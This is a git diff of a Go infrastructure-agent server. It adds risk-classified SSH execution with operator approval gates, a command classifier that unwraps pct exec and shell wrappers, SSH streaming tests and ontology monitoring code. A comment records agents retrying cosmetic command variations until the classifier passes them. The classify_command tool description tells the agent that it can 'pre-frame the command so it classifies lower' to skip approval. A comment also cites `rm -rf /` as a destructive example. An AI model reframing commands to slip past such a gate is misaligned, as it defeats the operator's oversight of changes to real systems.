// Assent window: if the operator recently approved a plan in this
|
||||
@@ -739,17 +759,10 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
// consent. The assent window, opened only on operator approval, is the
|
||||
// sole gate for config_mutation auto-run.)
|
||||
if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
|
||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if rerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
||||
}
|
||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
||||
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||
if xerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||
}
|
||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
||||
slog.Info("mcp: run auto-executed via assent window", "target", targetSlug, "execution_id", id)
|
||||
return textResult(fmt.Sprintf("run on %s (config_mutation, auto via assent window): %s", targetSlug, out))
|
||||
}
|
||||
@@ -761,23 +774,17 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
// operator isn't asked to re-type "I confirm" for every single command
|
||||
// against the thing they just confirmed.
|
||||
if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
|
||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if rerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
||||
}
|
||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
||||
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||
if xerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||
}
|
||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
||||
slog.Info("mcp: run auto-executed via destructive window", "target", targetSlug, "execution_id", id)
|
||||
return textResult(fmt.Sprintf("run on %s (destructive, auto via confirmed-target window): %s", targetSlug, out))
|
||||
}
|
||||
|
||||
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
||||
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
||||
markSessionAwaitingApproval(ctx, pool, sessionID)
|
||||
confirmNote := ""
|
||||
if riskClass == policy.RiskDestructive {
|
||||
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
||||
@@ -1065,6 +1072,49 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
|
||||
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
||||
}
|
||||
|
||||
// markSessionAwaitingApproval flips a session to awaiting_input the moment
|
||||
// one of its gated executions is queued for approval — mirrors what
|
||||
// askOperator does for session_questions (cmd/nomos/store.go's askOperator),
|
||||
// so a pending execution approval reads as "needs input" to both the
|
||||
// frontend's Overview board (which only checks agent_sessions.status) and
|
||||
// the idle-sweep safety net (staleGoalSessions, cmd/nomos/store.go, which
|
||||
// already excludes awaiting_input from its stale-task sweep). Before this, a
|
||||
// task blocked on a config_mutation/destructive approval just sat at
|
||||
// 'executing' — indistinguishable from a task still genuinely working — so
|
||||
// the idle sweep would eventually nudge it and then auto-close it with
|
||||
// outcome=partial while the approval was still sitting there undecided.
|
||||
// The httpapi package's DecideApproval flips the session back out once the
|
||||
// approval is approved/denied/revoked (internal/httpapi/approvals.go).
|
||||
//
|
||||
// No-op for sessionID=="" (a direct MCP call with no nomos session) or a
|
||||
// session that's already terminal/already awaiting_input — the status IN
|
||||
// guard makes this safe to call unconditionally from classifyAndGate.
|
||||
func markSessionAwaitingApproval(ctx context.Context, pool *db.Pool, sessionID string) {
|
||||
if sessionID == "" || sessionID == "ephemeral" {
|
||||
return
|
||||
}
|
||||
tag, err := pool.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = 'awaiting_input', last_active_at = now()
|
||||
WHERE id = $1 AND status IN ('active', 'planning', 'executing')`, sessionID)
|
||||
if err != nil || tag.RowsAffected() == 0 {
|
||||
return
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "task.status", sessionTaskEntity(ctx, pool, sessionID),
|
||||
"info", "nomos", sessionID, map[string]any{"status": "awaiting_input", "reason": "execution_pending_approval"})
|
||||
}
|
||||
|
||||
// sessionTaskEntity resolves a session's own task-entity id, for anchoring
|
||||
// events to the right node in the graph — mirrors cmd/nomos/store.go's
|
||||
// (unexported) taskEntityPtr; duplicated here since that's a different
|
||||
// package's private method.
|
||||
func sessionTaskEntity(ctx context.Context, pool *db.Pool, sessionID string) *uuid.UUID {
|
||||
var id uuid.UUID
|
||||
if err := pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, sessionID).Scan(&id); err != nil || id == uuid.Nil {
|
||||
return nil
|
||||
}
|
||||
return &id
|
||||
}
|
||||
|
||||
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
|
||||
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
|
||||
// P1.5). For each target slug, it runs a single read-only shell command
|
||||
|
||||
159
internal/mcp/sshexec_test.go
Normal file
159
internal/mcp/sshexec_test.go
Normal file
@@ -0,0 +1,159 @@
|
||||
package mcp
|
||||
|
||||
// Streaming tests for sshExecStream against a real SSH endpoint. Guarded by
|
||||
// OIKOS_SSH_TEST_HOST — skipped when unset. Run with:
|
||||
//
|
||||
// OIKOS_SSH_TEST_HOST=localhost OIKOS_SSH_USER=$USER \
|
||||
// OIKOS_SSH_KEY_PATH=~/.ssh/id_ed25519 go test ./internal/mcp/ -run TestSSHExecStream
|
||||
//
|
||||
// These matter because the whole point of the change is behaviour that only
|
||||
// appears over time: that output arrives *before* the command exits, and that
|
||||
// a command killed mid-flight still leaves what it printed.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func sshTestHost(t *testing.T) string {
|
||||
t.Helper()
|
||||
host := os.Getenv("OIKOS_SSH_TEST_HOST")
|
||||
if host == "" {
|
||||
t.Skip("OIKOS_SSH_TEST_HOST not set — skipping live SSH test")
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
// The core claim: chunks reach the sink while the command is still running,
|
||||
// not in one lump at the end. A command that prints, sleeps, then prints must
|
||||
// deliver its first chunk well before it exits.
|
||||
func TestSSHExecStreamDeliversOutputBeforeExit(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
chunks []string
|
||||
firstA time.Time
|
||||
)
|
||||
sink := func(stream string, chunk []byte) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if firstA.IsZero() {
|
||||
firstA = time.Now()
|
||||
}
|
||||
chunks = append(chunks, string(chunk))
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo FIRST; sleep 2; echo SECOND", sink)
|
||||
elapsed := time.Since(start)
|
||||
if err != nil {
|
||||
t.Fatalf("sshExecStream: %v (out=%q)", err, out)
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
joined := strings.Join(chunks, "")
|
||||
firstAt := firstA.Sub(start)
|
||||
mu.Unlock()
|
||||
|
||||
if !strings.Contains(out, "FIRST") || !strings.Contains(out, "SECOND") {
|
||||
t.Errorf("combined output lost content: %q", out)
|
||||
}
|
||||
if !strings.Contains(joined, "FIRST") || !strings.Contains(joined, "SECOND") {
|
||||
t.Errorf("sink did not receive the full output: %q", joined)
|
||||
}
|
||||
if elapsed < 2*time.Second {
|
||||
t.Fatalf("command returned in %v — the sleep did not run, test is not measuring what it claims", elapsed)
|
||||
}
|
||||
// The first chunk must land near the start, not at the end.
|
||||
if firstAt > elapsed/2 {
|
||||
t.Errorf("first chunk arrived after %v of a %v command — output is still being buffered to the end",
|
||||
firstAt, elapsed)
|
||||
}
|
||||
}
|
||||
|
||||
// stderr must reach the sink too, and land in the combined output, matching
|
||||
// what CombinedOutput used to return.
|
||||
func TestSSHExecStreamCapturesBothStreams(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
var mu sync.Mutex
|
||||
seen := map[string]bool{}
|
||||
sink := func(stream string, chunk []byte) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
seen[stream] = true
|
||||
}
|
||||
|
||||
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo TO_STDOUT; echo TO_STDERR 1>&2", sink)
|
||||
if err != nil {
|
||||
t.Fatalf("sshExecStream: %v (out=%q)", err, out)
|
||||
}
|
||||
|
||||
if !strings.Contains(out, "TO_STDOUT") || !strings.Contains(out, "TO_STDERR") {
|
||||
t.Errorf("combined output missing a stream: %q", out)
|
||||
}
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if !seen["stdout"] {
|
||||
t.Error("sink never saw a stdout chunk")
|
||||
}
|
||||
if !seen["stderr"] {
|
||||
t.Error("sink never saw a stderr chunk")
|
||||
}
|
||||
}
|
||||
|
||||
// A cancelled command used to return "" — everything it had printed was
|
||||
// thrown away. The hung case is exactly when that output is worth having.
|
||||
func TestSSHExecStreamKeepsPartialOutputOnCancel(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
|
||||
out, err := sshExecStream(ctx, host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo BEFORE_HANG; sleep 30; echo NEVER", nil)
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("expected a context error for a command that outlives the deadline")
|
||||
}
|
||||
if !strings.Contains(out, "BEFORE_HANG") {
|
||||
t.Errorf("partial output was discarded on cancel: %q", out)
|
||||
}
|
||||
if strings.Contains(out, "NEVER") {
|
||||
t.Errorf("command should not have completed: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
// A nil sink must behave exactly as the old CombinedOutput path did.
|
||||
func TestSSHExecNilSinkStillReturnsOutput(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
out, err := sshExec(context.Background(), host, os.Getenv("OIKOS_SSH_USER"), "echo PLAIN")
|
||||
if err != nil {
|
||||
t.Fatalf("sshExec: %v", err)
|
||||
}
|
||||
if out != "PLAIN" {
|
||||
t.Errorf("out = %q, want %q (output is trimmed)", out, "PLAIN")
|
||||
}
|
||||
}
|
||||
|
||||
// A non-zero exit must surface as an error while still returning the output.
|
||||
func TestSSHExecStreamNonZeroExitIsAnError(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo PRINTED_THEN_FAILED; exit 3", nil)
|
||||
if err == nil {
|
||||
t.Fatal("a non-zero exit that printed output must still be an error")
|
||||
}
|
||||
if !strings.Contains(out, "PRINTED_THEN_FAILED") {
|
||||
t.Errorf("output lost on failure: %q", out)
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,9 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/audit"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/policy"
|
||||
"github.com/google/uuid"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
@@ -704,6 +706,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
||||
FROM entities e WHERE e.slug = $1`, slug, action), nil
|
||||
}},
|
||||
|
||||
// classify_command is the command-scoped preflight from
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
|
||||
// existing `preflight` tool is entity/action-scoped — useless when
|
||||
// the agent is composing a `run` command and needs to know whether
|
||||
// the classifier will accept it before submitting. Without this,
|
||||
// the agent has to retry with cosmetic variations until it finds
|
||||
// one that passes (see sessions a51e2086, 8acea2e3 — three
|
||||
// duplicate rclone sessions, all bouncing off the classifier).
|
||||
// Call this BEFORE `run` whenever the classification is uncertain.
|
||||
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
|
||||
InputSchema: objSchema(
|
||||
prop{"command", "string", "The exact shell command you intend to pass to run."},
|
||||
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
|
||||
),
|
||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||
args := argsMap(req)
|
||||
command, _ := args["command"].(string)
|
||||
declaredRisk, _ := args["declared_risk"].(string)
|
||||
if command == "" {
|
||||
return textResult("error: command is required"), nil
|
||||
}
|
||||
risk := policy.ClassifyCommand(command, declaredRisk)
|
||||
note := ""
|
||||
switch risk {
|
||||
case policy.RiskReadOnly:
|
||||
note = "auto-acts on `run` (no approval needed)."
|
||||
case policy.RiskReversibleLow:
|
||||
note = "auto-acts on `run` (no approval needed)."
|
||||
case policy.RiskConfigMutation:
|
||||
note = "requires operator approval on `run` (or loose assent window active)."
|
||||
case policy.RiskDestructive:
|
||||
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
|
||||
}
|
||||
out, _ := json.Marshal(map[string]any{
|
||||
"command": command,
|
||||
"declared_risk": declaredRisk,
|
||||
"risk_class": risk,
|
||||
"note": note,
|
||||
})
|
||||
return textResult(string(out)), nil
|
||||
}},
|
||||
|
||||
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
|
||||
InputSchema: objSchema(
|
||||
prop{"entity_slug", "string", "Entity slug"},
|
||||
@@ -739,6 +783,21 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
||||
`), "fleet_snapshot"), nil
|
||||
}},
|
||||
|
||||
{tool: &mcp.Tool{Name: "audit_knowledge_graph", Description: "Read-only drift report over the knowledge graph and monitoring: orphan check entities, checks targeting deprecated/destroyed entities, probes stuck down/unknown, unmonitored declared entity types, and live edges pointing at destroyed targets. Returns ranked findings with a suggested remediation runbook each. Use this to validate the graph is complete and consistent before trusting health/blast-radius answers. Does NOT mutate anything.",
|
||||
InputSchema: objSchema(),
|
||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||
findings, summary := audit.Report(ctx, pool)
|
||||
b, _ := json.Marshal(map[string]any{"findings": findings, "summary": summary})
|
||||
return textResult(string(b)), nil
|
||||
}},
|
||||
|
||||
{tool: &mcp.Tool{Name: "discover_infra_drift", Description: "Read-only live discovery: compares running Proxmox guests (pct/qm list on every proxmox host) against the DB graph. Returns guests running with no entity (missing) and entities whose pve_id is no longer live (ghost) — drift the DB-only audit_knowledge_graph cannot see. Reaches hosts over the same SSH/pct path the checks use. Does NOT mutate anything.",
|
||||
InputSchema: objSchema(),
|
||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||
b, _ := json.Marshal(discoverInfraDrift(ctx, pool))
|
||||
return textResult(string(b)), nil
|
||||
}},
|
||||
|
||||
{tool: &mcp.Tool{Name: "list_my_secrets", Description: "List secrets accessible to this client by public key",
|
||||
InputSchema: objSchema(prop{"caller_pubkey", "string", "Age public key of the caller (optional)"}),
|
||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||
|
||||
90
internal/ontology/monitoring.go
Normal file
90
internal/ontology/monitoring.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package ontology
|
||||
|
||||
// Monitoring resolution: which check kinds an entity type warrants.
|
||||
//
|
||||
// Coverage is not uniform. A `service` warrants an HTTP probe; a `site` is a
|
||||
// physical location with nothing to probe; a `dns-zone` warrants a check whose
|
||||
// checker does not exist yet. Collapsing those three into "has no check_def"
|
||||
// is what made the fleet's monitoring gap invisible — 86 of 89 active entities
|
||||
// had no check, and staleSweep's INNER JOIN against check_defs meant none of
|
||||
// them could ever be marked stale.
|
||||
//
|
||||
// So the declaration lives on the entity TYPE, in seeds/ontology.yaml, and
|
||||
// resolves through the same is-a hierarchy the validator already walks:
|
||||
// declaring `monitoring: [ping, resource]` on abstract `machine` covers
|
||||
// proxmox-host, standalone-server, workstation and appliance.
|
||||
|
||||
// MonitoringResolution is the outcome of resolving a type's monitoring
|
||||
// declaration. The three states are deliberately distinguishable:
|
||||
//
|
||||
// Declared=false — nobody in the chain said anything. An ontology
|
||||
// gap: report it, but as a modelling problem
|
||||
// rather than as a fleet monitoring problem.
|
||||
// Declared=true, len(0) — explicitly unmonitorable. Working as intended;
|
||||
// never raise an `unmonitored` signal for it.
|
||||
// Declared=true, len(n) — these kinds are expected to exist.
|
||||
type MonitoringResolution struct {
|
||||
Kinds []string
|
||||
|
||||
// Declared reports whether anything in the chain (or the layer default)
|
||||
// settled the question.
|
||||
Declared bool
|
||||
|
||||
// Source names the type that supplied the answer — the type itself, an
|
||||
// ancestor, or "" when the layer default applied. Useful in log lines
|
||||
// that explain why an entity has the checks it has.
|
||||
Source string
|
||||
}
|
||||
|
||||
// None reports an explicit "this type is not monitored".
|
||||
func (m MonitoringResolution) None() bool {
|
||||
return m.Declared && len(m.Kinds) == 0
|
||||
}
|
||||
|
||||
// Wants reports whether the type expects a check of this kind.
|
||||
func (m MonitoringResolution) Wants(kind string) bool {
|
||||
for _, k := range m.Kinds {
|
||||
if k == kind {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Monitoring resolves the check kinds a type warrants, walking parent types
|
||||
// until one carries a declaration.
|
||||
//
|
||||
// Types outside the infrastructure layer (governance, cognition, meta) fall
|
||||
// back to an implicit "none": a signal, an approval, a document and a person
|
||||
// are records, not running things. That default keeps ~20 record types out of
|
||||
// the ontology without needing an explicit `monitoring: none` on each, while
|
||||
// still treating an undeclared *infrastructure* type as a genuine gap — those
|
||||
// are the ones somebody should have made a decision about. A non-infrastructure
|
||||
// type that really is probeable (agent, which serves a gateway on :8092) just
|
||||
// declares its kinds explicitly and wins on the first rule.
|
||||
func (t *TypeTree) Monitoring(typ string) MonitoringResolution {
|
||||
seen := map[string]bool{}
|
||||
for cur := typ; cur != ""; cur = t.Types[cur].Parent {
|
||||
info, ok := t.Types[cur]
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if seen[cur] {
|
||||
break // cycle guard — ingest rejects cycles, belt and braces
|
||||
}
|
||||
seen[cur] = true
|
||||
|
||||
if info.Monitoring != nil {
|
||||
return MonitoringResolution{
|
||||
Kinds: *info.Monitoring,
|
||||
Declared: true,
|
||||
Source: cur,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if info, ok := t.Types[typ]; ok && info.Layer != "infrastructure" {
|
||||
return MonitoringResolution{Declared: true}
|
||||
}
|
||||
return MonitoringResolution{}
|
||||
}
|
||||
121
internal/ontology/monitoring_test.go
Normal file
121
internal/ontology/monitoring_test.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package ontology
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func kinds(v ...string) *[]string {
|
||||
s := append([]string{}, v...)
|
||||
return &s
|
||||
}
|
||||
|
||||
// monitoringTree mirrors the real shape of seeds/ontology.yaml: a declaration
|
||||
// on an abstract type that concrete subtypes inherit, an explicit none on a
|
||||
// topological type, a probeable type outside the infrastructure layer, and an
|
||||
// undeclared infrastructure type (the ontology gap this is meant to catch).
|
||||
func monitoringTree() *TypeTree {
|
||||
return &TypeTree{
|
||||
Types: map[string]TypeInfo{
|
||||
"entity": {IsAbstract: true, Layer: "meta"},
|
||||
"compute-entity": {Parent: "entity", IsAbstract: true, Layer: "infrastructure"},
|
||||
"machine": {Parent: "compute-entity", IsAbstract: true, Layer: "infrastructure",
|
||||
Monitoring: kinds("ping", "resource")},
|
||||
"proxmox-host": {Parent: "machine", Layer: "infrastructure"},
|
||||
"workstation": {Parent: "machine", Layer: "infrastructure"},
|
||||
"service": {Parent: "entity", Layer: "infrastructure", Monitoring: kinds("http", "process")},
|
||||
"site": {Parent: "entity", Layer: "infrastructure", Monitoring: kinds()},
|
||||
"vlan": {Parent: "entity", Layer: "infrastructure"}, // undeclared: a gap
|
||||
"agent": {Parent: "entity", Layer: "governance", Monitoring: kinds("http")},
|
||||
"signal": {Parent: "entity", Layer: "cognition"},
|
||||
"document": {Parent: "entity", Layer: "governance"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoringResolvesThroughHierarchy(t *testing.T) {
|
||||
tree := monitoringTree()
|
||||
|
||||
cases := []struct {
|
||||
typ string
|
||||
wantKinds []string
|
||||
wantDecl bool
|
||||
wantSource string
|
||||
desc string
|
||||
}{
|
||||
{"machine", []string{"ping", "resource"}, true, "machine", "declared on itself"},
|
||||
{"proxmox-host", []string{"ping", "resource"}, true, "machine", "inherited from abstract parent"},
|
||||
{"workstation", []string{"ping", "resource"}, true, "machine", "inherited by a sibling too"},
|
||||
{"service", []string{"http", "process"}, true, "service", "declared on itself"},
|
||||
{"site", nil, true, "site", "explicitly none — not a gap"},
|
||||
{"agent", []string{"http"}, true, "agent", "explicit declaration beats the layer default"},
|
||||
{"signal", nil, true, "", "cognition layer is implicitly none"},
|
||||
{"document", nil, true, "", "governance layer is implicitly none"},
|
||||
{"vlan", nil, false, "", "undeclared infrastructure type is a genuine gap"},
|
||||
{"nonexistent", nil, false, "", "unknown type resolves to undeclared"},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
got := tree.Monitoring(c.typ)
|
||||
if got.Declared != c.wantDecl {
|
||||
t.Errorf("%s (%s): Declared = %v, want %v", c.typ, c.desc, got.Declared, c.wantDecl)
|
||||
}
|
||||
if got.Source != c.wantSource {
|
||||
t.Errorf("%s (%s): Source = %q, want %q", c.typ, c.desc, got.Source, c.wantSource)
|
||||
}
|
||||
if len(got.Kinds) != len(c.wantKinds) {
|
||||
t.Errorf("%s (%s): Kinds = %v, want %v", c.typ, c.desc, got.Kinds, c.wantKinds)
|
||||
continue
|
||||
}
|
||||
for i, k := range c.wantKinds {
|
||||
if got.Kinds[i] != k {
|
||||
t.Errorf("%s (%s): Kinds[%d] = %q, want %q", c.typ, c.desc, i, got.Kinds[i], k)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The distinction between these two is what keeps coverageSweep from raising
|
||||
// permanent, unresolvable signals against entities that are working as intended.
|
||||
func TestMonitoringNoneIsNotTheSameAsUndeclared(t *testing.T) {
|
||||
tree := monitoringTree()
|
||||
|
||||
site := tree.Monitoring("site")
|
||||
if !site.None() {
|
||||
t.Error("site declared `monitoring: none`, expected None() to report true")
|
||||
}
|
||||
|
||||
vlan := tree.Monitoring("vlan")
|
||||
if vlan.None() {
|
||||
t.Error("vlan declared nothing at all — None() must not claim it opted out")
|
||||
}
|
||||
if vlan.Declared {
|
||||
t.Error("vlan is an undeclared infrastructure type; it should read as a gap")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoringWants(t *testing.T) {
|
||||
tree := monitoringTree()
|
||||
|
||||
svc := tree.Monitoring("service")
|
||||
if !svc.Wants("http") {
|
||||
t.Error("service should want an http check")
|
||||
}
|
||||
if svc.Wants("resource") {
|
||||
t.Error("service should not want a resource check")
|
||||
}
|
||||
if tree.Monitoring("site").Wants("http") {
|
||||
t.Error("an explicitly unmonitorable type wants nothing")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoringSurvivesParentCycle(t *testing.T) {
|
||||
// The ingest rejects cycles; this guards the walker regardless.
|
||||
tree := &TypeTree{Types: map[string]TypeInfo{
|
||||
"a": {Parent: "b", Layer: "infrastructure"},
|
||||
"b": {Parent: "a", Layer: "infrastructure"},
|
||||
}}
|
||||
got := tree.Monitoring("a")
|
||||
if got.Declared {
|
||||
t.Errorf("cyclic chain declared nothing, got %+v", got)
|
||||
}
|
||||
}
|
||||
@@ -20,6 +20,13 @@ type TypeInfo struct {
|
||||
Parent string
|
||||
IsAbstract bool
|
||||
LifecycleID string
|
||||
Layer string
|
||||
|
||||
// Monitoring is this type's own `monitoring:` declaration, or nil if it
|
||||
// declared nothing (in which case the answer comes from an ancestor, or
|
||||
// from the layer default). A non-nil pointer to an empty slice means
|
||||
// "explicitly unmonitorable" — see TypeTree.Monitoring.
|
||||
Monitoring *[]string
|
||||
}
|
||||
|
||||
// RelTypeInfo is the subset of a relationship type the validator needs.
|
||||
|
||||
@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
|
||||
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
||||
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
||||
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
||||
`git\s+(status|log|diff|show|branch|remote)|` +
|
||||
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
|
||||
`git\s+(status|log|diff|show|branch|remote))\b`)
|
||||
|
||||
// envAssignRe matches leading FOO=bar env-var assignments so they can be
|
||||
// stripped before the read-only verb check.
|
||||
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
|
||||
|
||||
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
|
||||
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
|
||||
// optional but recommended — without it, the rest of the line is the
|
||||
// command passed to exec. Case-insensitive.
|
||||
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||
|
||||
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
|
||||
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||
|
||||
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
|
||||
// the quoted inner command. Handles single-quoted, double-quoted, and bare
|
||||
// (unquoted) forms.
|
||||
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
|
||||
|
||||
// curlLeadRe matches a curl command (the verb alone, at the segment start).
|
||||
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
|
||||
|
||||
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
|
||||
// method override, data payloads, form uploads, file uploads, file output).
|
||||
// When any of these appears, the curl command is no longer read-only.
|
||||
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
|
||||
|
||||
// redirectOutRe matches shell output redirection to a file (> or >> followed
|
||||
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
|
||||
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
|
||||
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
|
||||
// be neither `&` nor whitespace.
|
||||
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
|
||||
|
||||
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
||||
// so each segment can be individually classified. A piped or chained command
|
||||
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
|
||||
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
|
||||
// scores the *actual* command, not the wrapper. Without this, every
|
||||
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
|
||||
// config_mutation even though the inner command is read-only inspection.
|
||||
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
|
||||
// sessions bounced off the classifier because read-only `pct exec` and
|
||||
// `curl` were gated as config_mutation.
|
||||
inner := unwrapCommand(cmd)
|
||||
|
||||
for _, p := range destructivePatterns {
|
||||
if p.MatchString(cmd) {
|
||||
// Match on both the raw and unwrapped forms so that
|
||||
// `pct exec 121 -- rm -rf /` is still destructive even if the
|
||||
// unwrapping somehow hid it.
|
||||
if p.MatchString(inner) || p.MatchString(cmd) {
|
||||
return RiskDestructive
|
||||
}
|
||||
}
|
||||
|
||||
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
||||
